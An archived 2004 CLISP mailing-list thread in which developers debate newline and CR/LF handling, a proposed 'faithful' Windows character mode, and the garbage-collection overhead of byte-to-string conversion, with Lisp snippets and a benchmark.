"texttext[LF]texttext[LF]" > and on MS-Windows you'll have "texttext[CR][LF]texttext[CR][LF]". > > Then with your scheme your three identical copies of your program wont > read the same data of the same text file. yes it will. (with-open-file (i "foo" :direction :input) (list (read-line i) (read-line i))) will return ("texttext" texttext") on each platform, both now and with the proposed separation of #\Newline from #\Linefeed. even when these 3 different files are read on the same platform, this list ("texttext" texttext") will be read by this form: (with-open-file (i "foo" :direction :input :external-format (make-encoding :line-terminator-strict-p nil)) (list (read-line i) (read-line i))) or by using the right form for each file: (with-open-file (i "foo" :direction :input :external-format :dos) (list (read-line i) (read-line i))) ... -- Sam Steingold (http://www.podval.org/~sds) running w2k I'd give my right arm to be ambidextrous. From sds@gnu.org Thu Mar 18 05:48:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3xtL-0001ZQ-2E for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 05:48:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3xtH-0001AQ-8I for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 05:48:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2IDmclF012532; Thu, 18 Mar 2004 08:48:38 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403181344.10636.bruno@clisp.org> (Bruno Haible's message of "Thu, 18 Mar 2004 13:44:10 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172243.01260.bruno@clisp.org> <200403181344.10636.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 05:49:23 2004 X-Original-Date: Thu, 18 Mar 2004 08:48:37 -0500 > * Bruno Haible [2004-03-18 13:44:10 +0100]: > > Sam Steingold wrote: >> I think he wants to re-use the vector (a la READ-SEQUENCE). >> CONVERT-STRING-TO-BYTES will always allocate a fresh vector. >> Maybe an :OUTPUT + :START-OUTPUT combination is needed: >> >> (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding >> :START 10 :END 33 >> :OUTPUT string :START-OUTPUT 17) >> >> will write characters into STRING starting at position 17. >> (and using ADJUST-ARRAY if STRING is shorter than 40) > > While it's theoretically possible to add options like this, you will > note that functions which do complex operations _and_ store the result > destructively somewhere are rare in Lisp. The only one that comes to > mind are MAP-INTO and the BIT array operations. There is no RPLACBOTH, > no NSUBSEQ, no NCONCATENATE, etc. (The reason is, of course, that > destructive operations kill the functional programming style.) there are READ-SEQUENCE and REPLACE. I think that CONVERT-STRING-FROM-BYTES _is_ a kind of READ-SEQUENCE, mentally implemented as (READ-SEQUENCE (make-array) (bytes->stream)) > Therefore I would add such options only after an investigation would > show that the garbage collection overhead due to the strings created > by EXT:CONVERT-STRING-FROM-BYTES is not bearable. it depends on the pattern of usage. if Don ends up using CONVERT-STRING-FROM-BYTES instead of READ-SEQUENCE exclusively, then the semantics should be similar. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- driver executed. From bruno@clisp.org Thu Mar 18 05:58:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3y2W-0003qD-Lq for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 05:58:28 -0800 Received: from externalmx-1.sourceforge.net ([198.186.202.148]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B3y2U-0001L4-Py for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 05:58:26 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by externalmx-1.sourceforge.net with esmtp (Exim 4.30) id 1B45cT-00041b-Iz for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 14:04:05 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2IDvW9R006352; Thu, 18 Mar 2004 14:57:32 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2IDvUWR009872; Thu, 18 Mar 2004 14:57:31 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 4FF183B386; Thu, 18 Mar 2004 13:52:12 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181344.10636.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403181452.11118.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Sam Steingold wrote: > > Therefore I would add such options only after an investigation would > > show that the garbage collection overhead due to the strings created > > by EXT:CONVERT-STRING-FROM-BYTES is not bearable. > > it depends on the pattern of usage. [...] Content analysis details: (0.0 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 05:59:15 2004 X-Original-Date: Thu, 18 Mar 2004 14:52:11 +0100 Sam Steingold wrote: > > Therefore I would add such options only after an investigation would > > show that the garbage collection overhead due to the strings created > > by EXT:CONVERT-STRING-FROM-BYTES is not bearable. > > it depends on the pattern of usage. OK, then show me one usage, together with benchmark results, where the GC does not do its job sufficiently well. Bruno From bruno@clisp.org Thu Mar 18 06:18:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3yLn-00005J-BS for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 06:18:23 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3yLl-00018K-GT for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 06:18:21 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2ID64HU003536; Thu, 18 Mar 2004 14:06:04 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2ID63WR003877; Thu, 18 Mar 2004 14:06:03 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id E3CC1178AC; Thu, 18 Mar 2004 13:00:44 +0000 (UTC) From: Bruno Haible To: sds@gnu.org User-Agent: KMail/1.5 Cc: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172228.14725.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403181400.43908.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 06:19:03 2004 X-Original-Date: Thu, 18 Mar 2004 14:00:43 +0100 Sam wrote: > > 1) So many operations will give subtly different results, starting > > from (length string), (map 'list string), the hash code of a string > > and thus also the order of traversal of a hash table containing > > strings as keys, up to all kinds of string manipulation functions > > that work by scanning a string. > > why? > the only change is that (char-code #\Newline) is not 10 anymore. This alone creates portability problems. Around 16 years ago, the conventions on the Mac were just the converse than on Unix: \n was 0x0D and \r was 0x0A. And _of course_ when you ported programs from a Mac to Unix you had to change \r into \n in a lot of places. > When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the > appropriate line terminator and the original control character > otherwise. What Don proposed, was that on Windows, a line ends with two whitespace characters, not just one #\Newline. Here is a good example for some innocent looking code that is broken by such a change: (let ((s (make-string-input-stream "xy z"))) (progn (read s) (read-char s))) would return #\z on Unix and #\LF in Don Cohen's "Windows faithful" mode. There are lots of examples like this. Bruno From don-sourceforgexx@isis.cs3-inc.com Thu Mar 18 09:19:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B41BG-0007fm-50 for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 09:19:42 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B41BF-00076y-At for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 09:19:41 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2IHDrB26228; Thu, 18 Mar 2004 09:13:53 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16473.55505.346540.699069@isis.cs3-inc.com> To: Bruno Haible Cc: sds@gnu.org, clisp-list@lists.sourceforge.net In-Reply-To: <200403181400.43908.bruno@clisp.org> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172228.14725.bruno@clisp.org> <200403181400.43908.bruno@clisp.org> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 09:20:03 2004 X-Original-Date: Thu, 18 Mar 2004 09:13:53 -0800 Bruno Haible writes: > > the only change is that (char-code #\Newline) is not 10 anymore. > > This alone creates portability problems. Around 16 years ago, the > conventions > on the Mac were just the converse than on Unix: \n was 0x0D and \r was 0x0A. > And _of course_ when you ported programs from a Mac to Unix you had to > change \r into \n in a lot of places. Clearly the current implementation choice is useful when you want to write a text file that will be compatible with the other tools on whatever system you're using, and also when you want to read it back in on any other system. I don't propose that you get rid of it. > > When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the > > appropriate line terminator and the original control character > > otherwise. > > What Don proposed, was that on Windows, a line ends with two whitespace > characters, not just one #\Newline. Here is a good example for some innocent > looking code that is broken by such a change: > > (let ((s (make-string-input-stream "xy > z"))) (progn (read s) (read-char s))) > > would return #\z on Unix and #\LF in Don Cohen's "Windows faithful" mode. > There are lots of examples like this. All of those examples also apply to binary IO which is what I'm forced to do now. I'm not expecting the new faithful mode to hide/solve these differences. I just want to deal with characters instead of bytes. In fact, I currently do deal with characters. I read bytes and convert them to characters. Let's just consider the question of what's the "right" way to deal with input when you write a web server in Clisp. I see three possible positions so far. - use only bytes (I think this is Pascal's position) - read bytes and convert them to characters, then use characters internally - this is what I do now - read characters in "faithful" mode This is what I think is best. As a separate matter, we might consider what the "right" way would be to do such IO in portable common lisp. I think Pascal's argument is that the spec doesn't even promise that there will 256 characters so it's pretty much hopeless to do anything other than stick to bytes. This issue does not really apply to my server. It became clear long ago that this particular program was not going to be possible to write in portable common lisp, which does not even support network sockets, let alone determining how much output can be written without blocking (which would be replaced by multiple threads in an implementation supporting that). From bruno@clisp.org Thu Mar 18 10:15:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B423d-0005PW-Jn for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 10:15:53 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B423b-0002Pf-8T for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 10:15:51 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2IIBrXv018311; Thu, 18 Mar 2004 19:11:53 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2IIBqWR009332; Thu, 18 Mar 2004 19:11:53 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 40357178AC; Thu, 18 Mar 2004 18:06:34 +0000 (UTC) From: Bruno Haible To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) User-Agent: KMail/1.5 Cc: sds@gnu.org, clisp-list@lists.sourceforge.net References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181400.43908.bruno@clisp.org> <16473.55505.346540.699069@isis.cs3-inc.com> In-Reply-To: <16473.55505.346540.699069@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200403181906.33170.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 10:16:14 2004 X-Original-Date: Thu, 18 Mar 2004 19:06:33 +0100 Don Cohen wrote: > Let's just consider the question of what's the "right" way to > deal with input when you write a web server in Clisp. > I see three possible positions so far. > - use only bytes (I think this is Pascal's position) > - read bytes and convert them to characters, then use characters > internally - this is what I do now > - read characters in "faithful" mode > This is what I think is best. I think for a web server the second option is best, for two reasons: - The HTTP protocol is defined in terms of bytes. The byte stream of an HTTP connection can contain binary data as well, for example after a POST request some binary data can be sent, IIRC. - For security reasons, you may want to control explicitly all I/O conversions. Which is hard if you use the Lisp implementation's READ-CHAR / READ-LINE black box. Of course you can use READ-CHAR and READ-LINE on portions of the stream, if you use a Gray stream for converting READ-CHAR calls into READ-BYTE calls. > As a separate matter, we might consider what the "right" way would > be to do such IO in portable common lisp. I think Pascal's argument > is that the spec doesn't even promise that there will 256 characters > so it's pretty much hopeless to do anything other than stick to > bytes. Yes, ANSI CL promises 96 characters, not more. And I don't remember why CLISP's interpretation of ISO-8859-1 contains the control characters 0x80..0x9F. The standards are not clear on this issue. ISO-8859-1 doesn't contain them, but ISO-8859-1 is usually viewed as the 8-bit portion of Unicode, and Unicode has control characters at 0x80..0x9F. Probably I included this range only so that J=F6rg could use the character #\U009B on Amiga... So: don't count on it. The details of I/O conversion in READ-CHAR are up to the implementation. Bruno From sds@gnu.org Thu Mar 18 10:52:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B42d5-00063C-CP for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 10:52:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B42d1-0003Ps-J4 for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 10:52:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2IIqElF018555; Thu, 18 Mar 2004 13:52:14 -0500 (EST) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403181452.11118.bruno@clisp.org> (Bruno Haible's message of "Thu, 18 Mar 2004 14:52:11 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181344.10636.bruno@clisp.org> <200403181452.11118.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.349 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 10:53:05 2004 X-Original-Date: Thu, 18 Mar 2004 13:52:14 -0500 > * Bruno Haible [2004-03-18 14:52:11 +0100]: > > Sam Steingold wrote: >> > Therefore I would add such options only after an investigation would >> > show that the garbage collection overhead due to the strings created >> > by EXT:CONVERT-STRING-FROM-BYTES is not bearable. >> >> it depends on the pattern of usage. > > OK, then show me one usage, together with benchmark results, where the GC > does not do its job sufficiently well. (ext:times (with-open-file (in "foo" :element-type 'unsigned-byte) (let ((bytes 0) (chars 0) (buf (make-array 1024 :element-type 'unsigned-byte))) (loop (let ((got (read-sequence buf in))) (incf bytes got) (incf chars (length (ext:convert-string-from-bytes buf charset:utf-8))) (unless (= got (length buf)) (return (values bytes chars)))))))) Permanent Temporary Class instances bytes instances bytes ----- --------- --------- --------- --------- SIMPLE-STRING 0 0 435575 265098784 EXT:SIMPLE-8BIT-VECTOR 1 48 62218 64210044 CONS 0 0 2862903 22903224 SYMBOL 0 0 124446 3484488 SIMPLE-VECTOR 6 272 186748 3241416 BIGNUM 2 24 91662 1099944 FUNCTION 0 0 42 1668 SYSTEM::ANODE 0 0 24 576 SYSTEM::FNODE 0 0 3 336 SIMPLE-BIT-VECTOR 0 0 29 276 SYSTEM::VAR 0 0 4 272 HASH-TABLE 1 56 3 168 STREAM 0 0 3 192 STRING-STREAM 0 0 3 180 VECTOR 0 0 6 168 FILE-STREAM 0 0 1 144 STRING 0 0 6 144 SYSTEM::CONST 0 0 5 120 PATHNAME 0 0 5 100 STANDARD-GENERIC-FUNCTION 0 0 2 40 BLOCK 0 0 1 36 ----- --------- --------- --------- --------- Total 10 400 3763689 360042320 Real time: 51.568 sec. Run time: 41.54 sec. Space: 360900936 Bytes GC: 606, GC time: 15.705 sec. 63707377 ; 63708160 note that over 35% of time is spent on GC! BTW, why do I get more chars than bytes as the return value? this is a pure ASCII file! -- Sam Steingold (http://www.podval.org/~sds) running w2k Incorrect time syncronization. From pascal@informatimago.com Thu Mar 18 12:00:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B43gy-0005pP-VN for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 12:00:36 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B43gy-0006mu-3e for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 12:00:36 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 59A1E586E3; Thu, 18 Mar 2004 21:00:31 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 41C1C5041A; Thu, 18 Mar 2004 21:02:13 +0100 (CET) Message-ID: <16474.69.183782.574523@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: <200403181400.43908.bruno@clisp.org> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172228.14725.bruno@clisp.org> <200403181400.43908.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 12:01:03 2004 X-Original-Date: Thu, 18 Mar 2004 21:02:13 +0100 Bruno Haible writes: > This alone creates portability problems. Around 16 years ago, the conventions > on the Mac were just the converse than on Unix: \n was 0x0D and \r was 0x0A. > And _of course_ when you ported programs from a Mac to Unix you had to > change \r into \n in a lot of places. This is not a portability problem. This is a good thing that assumptions that you should not make be questionned from time to time. I'd really like to see a Common-Lisp implementation that would use random values for all that is implementation dependent. A program that would run conformably and bug free on such an implementation would be really portable, so this kind of implementation would be really valuable to application developers. > > When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the > > appropriate line terminator and the original control character > > otherwise. > > What Don proposed, was that on Windows, a line ends with two whitespace > characters, not just one #\Newline. Here is a good example for some innocent > looking code that is broken by such a change: > > (let ((s (make-string-input-stream "xy > z"))) (progn (read s) (read-char s))) > > would return #\z on Unix and #\LF in Don Cohen's "Windows faithful" mode. > There are lots of examples like this. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From pascal@informatimago.com Thu Mar 18 12:40:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B44JW-0000vm-TY for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 12:40:26 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B44JU-0008Ob-RE for clisp-list@lists.sourceforge.net; Thu, 18 Mar 2004 12:40:25 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9EB2A586E3; Thu, 18 Mar 2004 21:40:19 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 98A1D38A4B; Thu, 18 Mar 2004 21:42:01 +0100 (CET) Message-ID: <16474.2457.561300.697970@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: <200403181906.33170.bruno@clisp.org> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403181400.43908.bruno@clisp.org> <16473.55505.346540.699069@isis.cs3-inc.com> <200403181906.33170.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 18 12:41:06 2004 X-Original-Date: Thu, 18 Mar 2004 21:42:01 +0100 Bruno Haible writes: > And I don't remember why CLISP's interpretation of ISO-8859-1 contains the > control characters 0x80..0x9F. The standards are not clear on this issue. > ISO-8859-1 doesn't contain them, but ISO-8859-1 is usually viewed as the > 8-bit portion of Unicode, and Unicode has control characters at 0x80..0x9F. > Probably I included this range only so that J=F6rg could use the character > #\U009B on Amiga... So: don't count on it. The details of I/O conversion > in READ-CHAR are up to the implementation. You'd have to check the official standard. There's some ambiguity concerning 0x80..0x9f. Most "ISO 8859" glose exclude them, but on wikipedia, after giving a first table for "ISO 8859" with control ranges marked as "unused", they note that IANA defined an "ISO-8859" (not (string-equal "ISO 8859" "ISO-8859")) where the control ranges are filled with ASCII control codes and 32 additionnal control codes. http://en.wikipedia.org/wiki/Latin-1 Note that they call them "control character", but I take the precaution to call them "control codes", not characters. But on the other hand, Common-Lisp has characters such as #\newline. The control codes are useful only on the wire, and generaly can't be converted to other character encoding, while the characters are abstracted and independent from any encoding, which allow them to be encoded with different encoding. 